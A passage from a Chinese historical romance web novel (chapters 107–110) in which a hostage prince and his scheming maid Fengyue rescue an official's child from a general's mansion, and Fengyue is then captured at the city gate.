“不会!”杨风鹏道:“除了妻儿,罪臣再无把柄可言!罪臣可以一死,但求保全妻儿啊!”
叶御
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卿很是动容,转头看着殷戈止问:“殿下觉得,可信吗?”
殷戈止严肃地点头:“暂且一信也无妨。”
“好。”叶御卿道:“那大人就准备准备吧,这两日冯闯会亲自在这儿看着您,保证您性命无虞。至于您家那小少爷,那就得靠殷殿下出手了。”
殷戈止皱眉:“殿下,这种事完全可以暗卫去做。”
“暗卫哪有您这般高强的武艺?本宫身边的暗卫,没一个能自由出入将军府的。”叶御卿道:“再说了,有您出马,杨大人肯定更加放心。”
杨风鹏连连点头!他是懂武的,以前也是易将军带出来的兵,只因为会文,能管账,所以才一步步被推成了三司使。论武功,他自然是对殷戈止最为放心。
殷戈止叹了口气,点头应下了。叶御卿满意地道:“如此,本宫就不追究殿下为何在这死牢之中了。”
风月听得直翻白眼,这两人真是一个比一个不要脸,商量好的戏码在人家面前演这么逼真,也不怕杨风鹏死后知道真相,从地底下跳出来找他们算账!
易国如是没有要害杨风鹏家人的意思的,不过此人行事向来宁杀错不放过,杨风鹏信了也是他自己造的孽。但杨家小少爷是当真在易国如手里的,要怎么救出来,还是个头疼的问题。
好一番安抚,叶御卿和殷戈止同时离开牢房走了出去,风月正要跟上,却不小心碰到了旁边的徐怀祖。
猛地想起这儿还有两个观众,风月心里一惊,连忙低头看了看他们的神色。
在他们心里,殷戈止可是神一般的存在啊,要是发现他是在为太子做事,这两人会不会很失望?
然而,事实证明,当一**另一个人到了五体投地的地步之时,是完全没有脑子的。徐怀祖看着他们的背影消失在转角处之后,竟然感叹了一声:“师父真厉害啊,竟然能这般不动声色地应付太子!”
安世冲点头:“不像咱们,竟然这么慌张地躲起来了,还是该跟师父多学学。”
风月:“……”
牢房门口,叶御卿笑眯眯地看着殷戈止:“殿下劳苦功高。”
“过奖,吴魏若能一直和平共处,在下便心满意足,不敢邀功。”殷戈止拱手。
满意地点头,叶御卿认真地道:“有本宫在一日,吴魏便会和平一日,殿下安心。”
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第107章 知错要改
殷戈止就喜欢叶御卿这种爱好和平、尤其是爱好吴魏和平的太子!当下就神色和缓,颔首目送他带着余荷香先走。
风月等人从后头出来的时候,就见殷戈止心情甚好地扭过头来看着自己:“有事情做了。”
想了想刚才他们说的话,风月笑着后退:“奴婢最近身体不太好……”
伸手将她勾进怀里,殷戈止沉声道:“为了体现你的价值,还是乖乖听话最为妥当。”
这话应该是玩笑话,但不知道为什么,听在耳里,风月觉得背后生寒,忍不住就抬头看了他一眼。
殷戈止神色如旧,眼里波澜不惊,看起来什么事也没有。
是她多想了?
“师父。”安世冲和徐怀祖将出来道:“徒儿们先行告退,还要去练兵。”
“嗯,功课别落下。”
“是。”
两个一身正气的少年迎着阳光就走了,留下风月在风中瑟瑟发抖。
“要再闯一趟虎穴了。”背后的殷戈止低声道:“只是这回,老虎在家,很容易被吃掉。”
风月连连摇头:“别的事情都好说,殿下,奴婢可以给您找将军府的轮班执勤名单和换班的时间,甚至府内各处的守卫情况,都可以,但您别带奴家一起去,太危险了。”
“哦?”殷戈止道:“我是想像之前那般去将军府住下,更方便打听消息。易将军对你很感兴趣,以你为借口,也名正言顺些。”
头摇得跟拨浪鼓一样,风月道:“奴婢宁愿在外头被追杀,也不想去直面那种大人物,太吓人了。”
会**的!
眯了眯眼,殷戈止眸子里划过奇异的光,轻轻把玩着怀里的人的长发,淡淡地道:“有我在,他不会把你怎么样。倒是在我看不见的地方,你更容易出事。”
“不会不会。”风月摇头:“奴婢会好生藏起来的。”
“那要是没能藏起来呢?”
“便是奴婢**活该!”
心口一紧,殷戈止伸手捏了她的下巴,将人拧过来微怒地道:“你这样,我会更想带你去见见易大将军,看看到底会发生什么。”
“别啊!”身子立马软了,风月可怜巴巴地看着他道:“奴婢不是怕别的,是在老虎面前,万一人家一口咬过来,您拦不住怎么办嘛?再说了,府里还有个易小姐,万一您在美人儿面前没把持住,抛下奴婢了,那奴婢找谁哭去?”
轻哼一声,殷戈止道:“我在你眼里,是重色忘事之人?”
对呀对呀,风月认真地点头,指着自己一本正经地道:“上回观止找您说事儿,您不就是跟奴婢在一起,直接把他关在门外了吗?”
殷戈止:“……”
这是两码事吧?
还想再说,这不要脸的就已经蹲下去抱着自个儿大腿了,一边抱一边嚎:“公子放过奴婢吧……”
“行了。”实在受不住这魔音穿耳,殷戈止不耐烦地道:“你先前说的那些东西,统统去查,查好了给我。”
“不用查了呀。”转脸就笑,风月拉着他上车,一脸讨好地道:“早就备着的东西,您回去就能让人送来。”
早就备好的?殷戈止一愣:“你一直注意着将军府?”
“这是自然,易将军这样的大人物,难道不值得注意吗?”风月傻笑。
不是说这个,殷戈止摇头:“将军府轮班执勤名单、换班的时间、各处的守卫情况……如果我没记错,自从上次失窃,掌珠就将这些东西统统换过了。”
“对呀。”风月点头:“所以奴婢费了很大力气,从人手里又弄了新的。”
“为什么要弄新的?”
“因为有备无患啊!”心里有些打鼓,风月面儿上还是笑:“早晚用得着嘛。”
殷戈止沉默,一双眼漆黑不见底,定定地看着她。
被他看得心里发虚,风月别开了头。
殷戈止垂眼,心里沉得厉害。
马车一停在使臣府门口,天上就开始堆积乌云。殷戈止平静地用了晚膳,正准备去书房看书,一道雷却在天边炸响,轰隆一声,惊得他浑身僵硬,站在原地一动也不敢动。
风月还在收拾碗筷,听着外头雨点打屋檐的声音,心想这雨可不小啊。
灵殊端了一叠盘子去厨房,回来的时候都淋成落汤鸡了,睁大眼跳到她面前道:“主子,殷殿下心情好像不太好!”
“怎么了?”风月挑眉。
伸手比划着,灵殊夸张地道:“刚刚奴婢去放盘子的时候就见他一个人站在雨里,连忙去问他怎么了,要不要伞。结果他很凶地让奴婢走开,自己继续淋雨……瞧那背影,真是好伤感啊!”
伤感?风月眯眼,侧耳听了听外头的雷雨声,猛地拍了一下自己的脑门,然后飞快地拿了伞出去。
殷戈止这人,是绝对不可能把自己脆弱的一面给人看的,所以哪怕是被雷声吓得走不动路,也要留给世人一个顶天立地的萧瑟背影。
只有她知道,他肯定是腿软了。
正被雨淋得生无可恋,殷戈止猛地觉得雨停了,睁眼一看,前头有人打着桃红色的油纸伞,踮着脚尖将伞遮在他头上,然后冲他笑得暖盈盈的:“殿下,回屋去吧,要着凉的。”
抿了抿唇,殷大皇子硬声硬气地道:“不需要。”
“轰隆——”雷声大作,像是巨大的神明在人头顶发怒似的,顷刻吓白了一张冰山脸。
风月失笑,伸手就拉着他的手,手指钻进他的指间,扯着人就往主屋走。
“放开我。”后头的人声音僵硬地道。
压根没理他,风月推着他进屋,伸手就将他湿透了的衣裳一件件脱下来。
殷戈止很想反抗,但雷雨一时难歇,他的身子也一时难动,只能看着眼前这妖精偷笑着扒他衣裳,跟照顾孩子似的往他湿漉漉的头上搭了一条帕子。
“喂。”两边垂下来的帕子挡着了半张脸,只他一双眼睛还灼灼有神地露在外头,很是认真地看着她道:“我不怕打雷。”
本来还能勉强忍着笑,一听这话,风月崩盘了,笑出了八颗雪白的牙,声音震天
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:“哈哈哈哈——”
殷大皇子脸色很难看,很想伸手掐死她,却冷不防地被她踮起脚尖一搂,胸口上瞬间有温度传过来。冰冷的嘴唇被人覆上,吧唧吧唧地亲了个够本,然后这人才睁着一双泪光盈盈的眼看着他道:“您不怕,是奴婢怕。”
“怕得哭了?”殷戈止一脸嫌弃。
笑着抹了抹眼泪,风月点头,然后跟安慰一匹大狼似的摸了摸他的脑袋:“殿下别担心,不会有事的。”
这话纯粹是找死,谁担心了?谁担心了!殷戈止很暴躁!
然而,手心被握着,身子被贴着,温暖源源不断地传过来,让人觉得很舒坦。殷殿下暴躁地想,算了吧,反正这种事儿也就她一个人知道。
伸手反抱住她,殷戈止闭了眼垂头,下巴搁在她肩上道:“你要是没有别的任何的心思,我当真可以保你一世无忧。”
“多谢殿下。”风月笑得开心地应:“那奴婢这一世就交给您了。”
伸手捏了捏她纤细的肩,殷戈止抿唇。
外头风雷阵阵,屋子里却是温香软玉。风月只穿了肚兜,怀里的人跟狼崽子似的蜷缩着,高大的身躯完全不能卷进她怀里,然而就算只卷着半个,风月也觉得很踏实。
不知道这种踏实感从何而来,但是她觉得,雷雨天的殷戈止当真是让她很放心。
然而,就算睡得很好,殷戈止也还是做了噩梦,他梦见关苍海抱着自己的脑袋站在他面前,冷着脸朝他道:“殿下武断,陛下无情。关家一门冤魂,都该找殿下索命!”
殷戈止皱眉,很是茫然地问:“你不是叛国了吗?”
“何以见得?何以见得!”关苍海的头在他手上大笑:“你冤枉了我,关家上下一百多口人的性命,你该拿什么来还!”
心口一窒,殷戈止猛地睁眼。
外头天亮,雨也已经停了,雨后芬芳的气息飘进来,很是醒神。
风月坐在床边看着他,笑眯眯地道:“殿下该起身了,不是说今日要去将军府吗?东西奴婢都已经准备好了。”
说着,递过一个黄梨木的盒子来。
敛了敛神,殷戈止揉着眉心打开盒子,看了看里头的东西,“嗯”了一声。
“殿下不舒服吗?”风月问:“做噩梦了?”
想起梦境,殷戈止脸色很难看:“嗯。”
“日有所思夜有所梦,殿下就是想得太多。”拿了衣裳替他更衣,风月淡笑道:“放轻松些就好了。”
抿唇下床,殷戈止站在镜子面前看了看自己,拳头松了又紧,沉默半晌突然问:“你要是做过一个决定,导致很多人**,后来发现那个决定可能太过仓促,会怎么办?”
换做别人来,肯定听不懂他问的是什么意思。但不巧,风月一听就知道他做了什么梦。
笑着给他的衣带打了死结,她低声道:“知错不改,会下地狱的。”
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第108章 我该成亲了
被她这语气说得一顿,殷戈止皱眉。
风月回神,立马缓和了些,开玩笑似的道:“奴婢是说啊,知错能改善莫大焉,您既然知道您有不对的地方,那为什么不改?”
垂了眼眸,殷大皇子语气不悦地道:“也不一定是我错了,只是当初形势所迫,无暇亲自查探,所以将事情交给了别人处理,谁曾想……他们会处理得那般草率。”
应该是有些隐情的,不然他也不会总是做噩梦。可是,人都已经死完了,也没人再在意这件事,他若是还纠结,似乎有点傻了。
若当真……当真是他错了,那他该拿什么来偿还这满门的忠骨热血?
心口沉得厉害,殷戈止摇头,脸色极差地道:“罢了。”
罢了?风月嗤笑,谁会同他罢了?逃得过一时,也逃不过一世。
整理好他的衣衫,风月抬眼,真诚地赞美:“殿下当真是玉树临风,潇洒倜傥。”
轻哼一声,殷戈止顺手拂了拂这袍子,突然觉得有些异样,低头一看。
还是自己平时穿的白袍样式,只是这材质轻薄,与他往常的衣裳不同。
“殿下真细心。”眼前的人笑得妩媚:“这是奴婢亲手做的夏衫,很衬殿下。”
眯了眯眼,殷戈止突然想起这段时间晚上她一直拿着个东西在缝,随口问过一句,她还说是给灵殊做的衣裳。
竟然是做给他的?
心里有点高兴,但表现不能太明显,于是冷漠的殷大皇子还是板着脸嫌弃道:“针脚真粗。”
能穿就不错了还不高兴?风月垮了脸:“那脱下来,奴婢给您换一件。”
侧身躲开她的手,殷戈止转头就往外走,衣袂飘飘,一抹白从风月指间拂过,带着点皂角的香气,让她怔然了一会儿。
从没有见过一个人能同时把白衣和黑袍都穿得这般好看,一身落雪,就是浊世里的翩翩公子。满衣染玄,便成炼狱里的嗜血魔头。极善和极恶在他身上好像有个微妙的临点,一念成佛,一念成魔。
殷戈止啊……
摇摇头,风月回神,笑着提起裙摆,跟着出去。
殷戈止出发去将军府了,就算风月不去,他也打算就上回将军府的人抓风月的事情,去同易将军要个交代。
风月站在门口目送他,等他走远了,便给了灵殊一两银子:“好丫头,再去买一回绿豆糕吧。”
灵殊点头,二话不说就往外冲。风月抬头看了看这雨后大晴的好天气,心想真不愧是不阴城啊,艳阳高照的,不管夜里发生了多少风雨,白天都能照得地上不剩丝毫水气。
杨风鹏突然被冯闯亲自看守,这让易大将军很是不安,昨夜又是电闪雷鸣,所以压根没睡着。今日见殷戈止来,也没什么精神。
“将军。”殷戈止拱手:“敢问将军,找敝府丫鬟何事?”
微微一顿,易国如轻轻笑了笑,眼珠子左右动着,声音慈祥地道:“倒是不小心惊扰到你了,我听珠儿说你身边多了个美貌的丫鬟,她有些不开心,所以想着请人过来聊聊。”
“将军。”神色微微不悦,殷戈止看着他道:“在下虽然对易小姐颇为爱慕,但以在下的身份,与小姐恐怕没什么将来。”
言下之意,你管我身边有什么丫鬟呢?反正又不娶你家女儿!
拍了拍膝盖,易国如笑道:“小女也颇为仰慕殿下,若是殿下有朝一日得回魏国,两国邦交仍在,那未必没有可能。”
想得也是够远的。
殷戈止垂眸,正想着要找什么借口才能住下来,谁知道易国如就道:“罢了,你身边有什么人,老夫也不过问了。但是殿下,外头最近纷争颇多,您不如在府上住两日,避避风头也好。”
避风头?殷戈止心里冷笑,易国如怕是收到风声说他行为有异,所以想把他软禁在将军府吧?
正巧,他也想在这里住会儿。
“将军的决定,在下没有意见。”
对于他肯这么配合,易国如还是很满意的,神色都温和了不少,放缓了语气道:“就当陪小女聊聊天,她最近心情也不是很好。”
殷戈止颔首,起身行礼之后,便漠然地往外走。
“将军。”薛良在旁边看着,忍不住小声嘀咕:“殷殿下看起来当真没什么问题,也不知道其他大人为什么怀疑他。”
“再看看吧。”易国如道:“这世道,没几个人能轻信。”
薛良一顿,无声地叹息,然后便恭敬地退到了一旁。
殷戈止安静地跟着家奴走在将军府里,路过之处,都细细打量,再与风月给的东西做对比。
当真分毫不差。
心里有点莫名的焦躁,他觉得有点看不懂风月,也不知道她哪里来的这通天的本事。再厉害点,是不是连皇宫里的部署都能知道啊?
她是有问题的,身份有问题,目的也有问题,但在找出她真正的身份之前,他不敢妄动。可是不妄动,那人就像根野草一样,顽强地在他心上扎根,他怕等发现她是毒草的时候,**整个人都疼。
纵横沙场多年的殷大皇子从来没为感情之事这般操心过,就算三年
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前有人消失得无影无踪让他牵肠挂肚,可也没烦恼到这个地步!
“殷哥哥。”易掌珠的声音从远处传来,他抬眼,就见她笑得端庄地冲他行礼:“你终于来了。”
微微一顿,殷戈止停下步子,认真打量她的脸。
其实女儿家的脸这样才能算好看吧?鹅蛋脸,远山眉,水灵灵的杏眼,一身的花香,怎么看都觉得端庄大方。他怎么就会看上风月那样的?狐眸红唇,一身脂粉味儿,笑起来媚人妖艳,俗气又低贱。
一定是他留她在身边太久了,看顺了眼。旧人常说“日久生情”,也不是没有道理。
深吸一口气,殷戈止回神,看着她道:“我来住上两日。”
“来陪珠儿吗?”易掌珠笑着问。
殷戈止点头。
眼里有光闪烁,易掌珠揉着帕子,想了好半天,突然红了脸:“正好……珠儿有话想同殷哥哥说。”
“嗯?”心不在焉地应了一声,殷戈止跟着她一起往前走。
易掌珠嗫嚅半晌,鼓足了勇气开口:“我不嫁太子哥哥了。”
“嗯?”这**神了,殷戈止挑眉:“为什么?”
或者说,她什么时候决定过要嫁了?太子的提亲可是被易大将军拦在外头的,也是她亲口回绝的。
“他想跟父亲过不去。”抿了抿唇,易掌珠红了眼道:“先前那么宠着我,都是假的,我让他放过杨大人,他都不听。”
“……你,让他放过杨大人?”殷戈止有点震惊:“直接去跟他说的?”
易掌珠点头:“是啊,他好像很生气,说我管太多了,直接就走了。”
想起那日太子的态度,她还有点余恼:“就算我不该管那么多,他好好说不成吗?那么凶,还将我一个人扔在街上!在他眼里,这些朝廷琐事,必定是比我重要。”
的确是比你重要啊!殷戈止垂眸。
他有时候真的很不明白易掌珠在想什么,做的事情常常能超出他的预料。他觉得荒诞的,她反而觉得理所当然。
女人都这么难懂吗?不是啊,风月每次跟他就能想到一起去,还能帮他出主意。
那是什么的问题?
摇摇头,殷戈止道:“既然你觉得他不在意你,那的确是不用嫁他了。”
“可是……”红着脸看他一眼,易掌珠道:“珠儿也到了该出嫁的年纪了。”
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第109章 互帮互助
嗯,出嫁的年纪。殷戈止点头:“那就得好生再找找合适的人家了。”
一听他这话,易掌珠就垮了脸,嘴唇微抖,眼里迅速涌上眼泪来:“殷哥哥你……”
“嗯?”殷戈止很茫然:“怎么?我说得不对?”
他这说法,是压根就没考虑过自己娶她啊!易掌珠委屈极了,站在原地哽咽,拿了帕子出来抵着鼻下,眼泪哗哗地流。
殷戈止瞧着她,第一反应不是她怎么又哭了,而是——她怎么又掩着鼻子哭啊,一点鼻涕也不流,好看是好看,可也不动人啊。要哭就该哭得跟风月那样死皮赖脸的,眼泪鼻涕流满脸,看起来要多伤心有多伤心,他才更容易动容。
摇摇头,殷戈止沉默了半晌,还是伸手递了帕子给她,轻声道:“莫哭了,出嫁是寻常事,能寻得如意郎君就好。”
我想要的如意郎君,是你啊!易掌珠越听哭得越凶,她不明白为什么殷哥哥总是这么迟钝,每次左暗示右暗示,也不知道他是真不懂还是装不懂,实在太过伤人!
气恼得想走,可想想他平时待自己的不同,易掌珠又觉得他定然是没听懂。拉不下脸再说,又有些不甘心,她长叹一口气,咬牙问:“殷哥哥喜欢珠儿吗?”
“喜欢。”
皱眉看着他,易掌珠眼泪直掉:“你知道什么是喜欢吗?”
什么是喜欢?殷戈止微微一顿,有些不解地看向她。
易掌珠哭着道:“旁的都不说,要是你喜欢的人要嫁给别人了,你是绝对不会袖手旁观,祝她寻得如意郎君的!”
这是喜欢?殷戈止嗤笑,只是男人单纯的占有欲罢了,他还不会袖手旁观风月嫁给别人呢,难不成也是喜欢?
一想到那小妖精说不定当真哪天要穿上嫁衣抬进别人的家里去,殷戈止眯了眯眼,眼里陡然生了点戾气。
“殷哥哥?”易掌珠不满地问:“你在想什么?”
“没什么。”垂了眼眸,殷戈止道:“你别胡思乱想了。”
说罢,抬脚就要走。
易掌珠的眼神陡然古怪起来,看着他的背影,低声问了一句:“当真是因为风月姑娘吗?”
脚步一顿,殷戈止莫名其妙地回头:“因为她什么?”
“自从她来了,殷哥哥对珠儿完全像变了个样子。”易掌珠皱眉道:“珠儿不喜欢她,她不像个好人。”
的确不是什么好人,殷戈止认真地点头:“我也不喜欢她。”
“那你为什么还留她在身边?”易掌珠不服气地问。
“有用。”
“区区女子,能有什么用?”易掌珠气极反笑,抹了一把眼泪,眼神灼灼地道:“她哪里比得上我?若是娶了我,殷哥哥就可以回魏国去,咱们的姻亲就当是两国和亲,比做质子可靠谱多了。”
回魏国?殷戈止皱眉,看了她一眼。
易掌珠觉得自己说中了他在意的事情,顿时有了些底气:“父亲说了,你我要是成亲,大可回魏国去,从此吴魏无战,还可共同抗敌。”
易国如还真是心疼这女儿啊,为了她的终身大事,竟然给这么优渥的条件,要是他是个寻常的质子,现在就该高兴地答应,抱着美人回国去了。
然而,他什么时候回去魏国,他自己来安排,实在用不着别人操心。
“最近府上出事了吧。”别开头,殷戈止直接转了话头道:“瞧着守卫又森严了。”
易掌珠愕然,根本不明白他为什么不说成亲的事情了,他不想回魏国吗?
迷茫了半晌,她抿唇,还是回答了一句:“府上来了客人,父亲说为了周全,所以增派了人手。”
“哪儿的客人?”
“这个珠儿不知,父亲也没说,只不让人再靠近西院。”
西院。殷戈止点头,继续跟着家奴往自己要下榻的院子里走。留下易掌珠一个人站在原地,眼里满是茫然。
按照风月给的地图和府里的守卫情况,殷戈止很快安排好了自己要出发的时间和路线。要从西院偷个人不难,只是这回要出府,恐怕会惊动易国如,风险不小。
他习惯了独来独往了,再困难的情况也没考虑过让人给自己留后路,所以坐在屋子里等到了天黑之时,殷戈止脱了风月给他缝的白衣,老老实实地穿上夜行服,推开窗户,隐入了夜色之中。
将军府里的守卫半个时辰换一次岗,交接点在各处的路口,所以殷戈止很是敏捷地踩准了点,一路无声无息地去了西院。
易掌珠真是上天派来帮他的,每一次都将易国如出卖得很彻底,杨风鹏家的孩子当真在西院,刚靠近就能听见那撕心裂肺的哭声。
于是都不用找,殷戈止直接潜入有哭声的房间,打晕陪在旁边的嬷嬷,抱起孩子就出去。
可是,有一个问题是他没有考虑到的——杨家少爷一直在哭,哭声震天,他这么把人抱出去,那相当于打着鼓敲着锣地告诉所有守卫:快来呀,我偷孩子啦!
脸色铁青,殷戈止看着怀里这奶娃娃,瞬间很是头疼。
杨家小少爷本来就害怕,再看殷戈止这张脸,就更怕了,哭得都能看见扁桃,小眼泪儿哗哗的。
这怎么办啊?这么小的孩子,要打晕也控制不好力道,说不定就直接打**。殷戈止皱眉,板着脸伸手捏住他的嘴:“别哭了!”
杨小少爷一瞪眼,呜呜两声,嚎得更凶。
堂堂殷大皇子,在面对千军万马的时候没有色变过,今儿算是栽在个奶娃子手里了,抱着他的双手僵硬,尝试着晃了晃,但这娃娃压根不领情。
管不了那么多了,再哭下去,别人该来看了。深吸一口气,殷戈止伸手捂了他的嘴,飞快地往外冲。
一飞起来,杨家小少爷傻眼了,倒是止住了哭声,愕然地看着下头的院落。
殷戈止大大地松了口气,连忙带着他从屋脊上一路轻踩过去,然后空中翻滚两圈,稳稳地落在将军府的院墙下头!
终于快出去了,殷戈止放了心,正想越过这最后一层障碍,冷不防的,怀里的小少爷发出了惊天动地的哭声:“哇——”
一瞬间将军府各处的灯就亮了起来,殷大皇子咬牙,二话不说,立马飞身往城墙
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外跳。
“抓住他!”将军府的守卫反应极快,立马跳墙的跳墙,开门的开门,直直朝他追来。
殷戈止咬牙,忍不住恶狠狠地道:“再哭不带你见你爹娘了!”
杨家少爷一顿,殷戈止以为有效果了,连忙侧身藏进旁边的小巷。
结果没一瞬,这破孩子“哇”地一声,更凶猛地嚎了出来。
本来么,小孩子又不是风月,用吓的哪儿行啊?可殷大殿下不会哄,只能黑着脸将他夹在咯吱窝下头继续狂奔。
寂静的不阴城被孩童的哭声点亮了,哭声到哪儿,哪儿就亮成一片,殷戈止头一回觉得有些力不从心,躲也没处躲,甩也甩不开这四面八方围过来的人。
正想着要不要试试把这孩子打晕算了,结果却见路边停着的一辆马车掀开了帘子。
“殿下,快上来。”风月的脸在黑夜里格外好看,笑盈盈地朝他伸出了手。
殷戈止一愣,连忙将手里的祸害先递给了她,然后跟着坐上马车。
干将驾着车,飞快地往东城门的方向而去。
“小乖乖,别哭了哈。”轻轻拍着他的背,风月温柔地哄:“等会咱们带你去见娘亲和爹爹呀,还有好吃的糖葫芦,姐姐不是坏人。”
她眉眼低垂,动作轻柔,看得对面的殷戈止愣了愣神。
杨小少爷竟然当真不哭了,只是还抽抽搭搭的,颇为委屈地看着她,小手抓着她的衣襟不肯松,戒备地回头瞧了瞧殷戈止。
风月失笑,摸了摸他的脑袋,低声道:“这个大哥哥也不是坏人,只是看起来很凶,他救了你呀,是不是?”
呆呆地点头,小少爷不哭了,毫不客气地往风月怀里一坐,抱着她不撒手了。
殷戈止眯眼:“凭什么?”
凭什么在他怀里那么不老实,靠在女人怀里就规矩不哭了?
“殿下太凶了。”风月眨巴着眼道:“小孩子不禁吓的。”
抬眼看她,殷戈止反应了过来:“你怎么在这儿?”
“奴婢知道小孩子您搞定不了,所以一早让灵殊去准备出城的路子,便在这儿等您了。”风月微笑:“这差事不好办,易大将军多疑又行事果断,您必须在下个路口下车,回去将军府,奴婢负责将小少爷送出城,才能万无一失。”
微微皱眉,殷戈止有点不悦:“你是早就觉得我一个人完成不了此事?”
“一个人完不成又不丢人。”风月耸肩:“女娲娘娘给这世上放这么多的人,不就是为了大家相互帮忙一起生存的吗?”
可是,殷大殿下很不满意,这显得他能力不够一样。
“好啦,您快走吧。”风月笑道:“易将军那边,还要您好生糊弄呢。”
说着,伸手捏了他的衣襟,将他拉到自己面前,吧唧一口亲在他的唇上。
杨家小少爷还在她怀里,抬头茫然地看着两个人线条优雅的下巴。
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第110章 完了
这种事情,一般来说,是该女儿家脸红害羞的,但是风月脸上的表情实在太自然了,还带了点调戏的娇笑,惹得殷戈止微微恼怒,反倒是不自然了起来。
“没个规矩!”
伸手遮了小少爷的眼,风月笑眯眯地道:“奴婢没规矩惯了的,您不是早就知道了?”
马车停下,她朝他抛了个媚眼,然后就将他推了下去。
车停的位置正好是将军府附近,殷戈止回神,也没耽误,轻巧落地之后,便如鹰一般朝自己下榻的地方飞去。
易大将军府热闹了起来,得知杨少爷不见了,易国如立马起身派人去追,追了三柱香的功夫觉得不对,转头就往殷戈止的房间走。
还有谁能在他这地方带人出去?别的都先不论,就凭这身手,也该先怀疑殷戈止!
猛地推开客房的门,易大将军抬眼往里头扫,却见殷戈止睡眼朦胧地披衣起身,不解地看着他问:“发生什么事了?”
狐疑地在屋子里扫了两眼,易国如叹了口气,进去坐下:“府里又遭贼了。”
“遭贼?”微微一顿,殷戈止轻笑:“将军府都会遭贼,那这不阴城里还有什么周全的地方吗?”
“殿下说笑。”易国如道:“老夫这府邸就算守卫森严,可也挡不住武功过于高强之人。”
比如你。
殷戈止点头:“说得也是,那将军更要加强防范了。”
“……”看他这半点不心虚的模样,易国如沉了眉眼,低头思索了半晌才道:“殿下与老夫,虽也曾战场上为敌,但志趣相投,也能算半个知己罢?”
“自然。”
“那倘若有一日,老夫被人构陷,殿下是愿相信老夫,还是愿相信外人之言?”
殷戈止垂眸:“自然是相信将军,将军光明磊落,在战场上就早已见得,只是身边多奸佞,拖累将军罢了。”
要说光明磊落,易国如当真是很光明很磊落,毕竟所有的阴招都是他“身边的人”想出来的,跟他没什么关系,每次战后,他都能利用文人的笔将自己身上的罪孽洗得干干净净,只享胜利的荣光,不受世俗的苛责。
这样聪明的将军,的确是当世罕见。
殷戈止语气很真诚,易国如也就听进去了,苦笑道:“有殿下这句话,老夫就放心了,毕竟人心险恶,殿下作为老夫的忘年之交,很容易被人利用,这一点,还望殿下多加注意。”
微微颔首,殷戈止应了。
易国如总算笑了,坐在桌边又跟他寒暄一阵,便继续出去找人。
然而,今晚上他是注定不可能把人找回来了,风月带着人麻利地出了城,将杨家小少爷塞进了余荷香的怀里。
“多谢东家。”
这小少爷是夫人生的,然而跟余荷香很是亲近,一看见她就踏实了,倒在旁边的床上就睡了过去。
屋子里烛光微弱,风月看着她,叹了口气:“抱歉,又要让你继续颠沛流离了。”
微微一笑,余荷香道:“风鹏不是个好人,奴家早知会有这一天,若是能做点什么洗清他身上的罪孽,奴家万死不辞。”
荷香是半年前就离开了梦回楼的,她大仇已报,遇上了杨风鹏,得他厚爱,便跟他走了。走的时候风月提醒过她,说杨风鹏可能不会有什么好下场,荷香一早就想过今日,但还是无怨无悔。
如今终于到了他要偿还罪孽的时候了,荷香觉得,能替他将小少爷给留下来,已经算是了了他的遗愿了,剩下的,听天由命,她也没什么好遗憾的。
多行不义必自毙。
风月唏嘘,伸手抱了抱她,便赶着车往城里走。
杨少爷救出来了,那么只要明日让他见一见杨风鹏,易大将军也就该被拖下水了。
本来觉得这些事做起来应该很麻烦,也许要花上几年的时间。但真正做起来,其实也就几个月而已。
“姑娘。”外头车辕上驾车的干将沉声道:“最近殿下对您起了疑。”
“我知道。”风月笑着点头:“他那个人,一旦怀疑谁,表现得很明显。”
“那您打算怎么办?”
“能怎么办呢?”撑着下巴想了一会儿,风月笑道:“等被发现的时候,就跑吧。”
“属下觉得,殿下未必是不通情理之人。”干将叹息:“如今您与殿下,也算是感情深厚,何不试试问问殿下,看他愿不愿意相信您。”
相信她?风月挑眉,眯着眼睛认真地思考起来。
殷戈止会相信她吗?其实就算发现她是关清越,应该也不会马上杀了她,是会给她个说话的机会的。但,要他面对自己当年做错的决定,他那样的人,似乎是不愿意面对的。
还是走一步看一步吧,多想无益。
“站住!”眼瞧着到城南门口了,城楼上陡然响起一声呵斥。
风月一听就觉得不好了,立马想下车,谁知道前头的护城军动作更快,直接上来将马车团团围住。
出去的时候是找安世冲行的方便,按理说,回来也不该有人拦,除非……
“车上是什么人?半夜进城?”薛良站在城门口,看着马车的方向道:“下来!”
干将神色一紧,一时不知道该怎么办,正想说是使臣府的马车,肩膀却被人按住了。
“各位爷行行好。”车帘掀开,有女人风情万种地露出眉眼,看着四周的人道:“奴家母亲病重,急着进城请大夫呢。”
一看是个女人,又看了看车厢里没其余的东西,旁边的护城军正想说放行,却被薛良抬手拦住了。
“母亲病重,急着进城?”薛良轻笑:“姑娘,你当谁都不认识这使臣府的马车吗?”
心里猛地一沉,风月眯眼。
大意了,这是她当真大意了,能用得起马车的人本来就少,这薛良又是将军府的人,经常与使臣府来往,自然认得这马车。
长叹一口气,她垂眼,反应极快地道:“既然瞒不住,那还是不瞒了,小女子使臣府丫鬟风月,刚出城上坟回来,外头没地方住,想着能寻个方便回府去最好。”
使臣府上的那个丫鬟?薛良眼睛一亮,抓了好多次都没抓到的人,今晚倒是自己送上门来了。
“带走!”
干将急了,连忙下车拦在风月面前:“殷殿下吩咐,要将人安全带回,各位
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官爷莫要与小的为难。”
“我带她去见殷殿下就是。”薛良道:“殷殿下现在在将军府,不在使臣府。”
手心冒汗,干将紧张极了。从易大将军一回城,风月就通知过各处,易大将军认得出她,所以一旦她即将落在大将军手里,请大家务必想法子相救,不然她一定没命。
可眼下这情况,四周只他一人,护城军和将军府的家丁数量又多,反抗肯定是不行。
风月也很紧张,然而她脑子转得快,几乎就想了那么一瞬,然后就将手搭在干将的肩膀上,低声道:“你先走,去找殷殿下。”
干将一顿,很是不放心地看着她。
风月抬头笑得妩媚,伸手抿了抿鬓发,端的是风情摇曳,看得几个护城兵愣了愣神。
迈着小碎步走到薛良面前,她笑道:“既然如此,那走吧,军爷。”
薛良一愣,微微皱眉,心想怪不得大将军非要抓这姑娘,大小姐哪儿是她的对手啊?
“带走。”
双手被捆上了绳子,风月跟在薛良的马后头走,回头淡淡地看了干将一眼。
一定要争气啊!快点联系到殷戈止救命啊!
干将回神,立马驾着马车往城里狂奔。
本来事情结束,殷戈止是打算睡觉的,但是这一觉怎么也睡不踏实,迷迷糊糊间好像又做了噩梦,心浮气躁地起身,干脆去窗边看月亮。
哪知,就这时候,外头一阵骚动,像是有什么人闯进来了。殷戈止皱眉,正想去看呢,就见个纸团儿从墙外飞了进来,落在窗前。
喧哗声跟着就远了,闯进来的人好像引着追兵跑了出去。
眯了眯眼,殷戈止捏起那纸团打开一看。
“风月陷将军府!”
神色一紧,殷戈止立马穿衣往东院走。
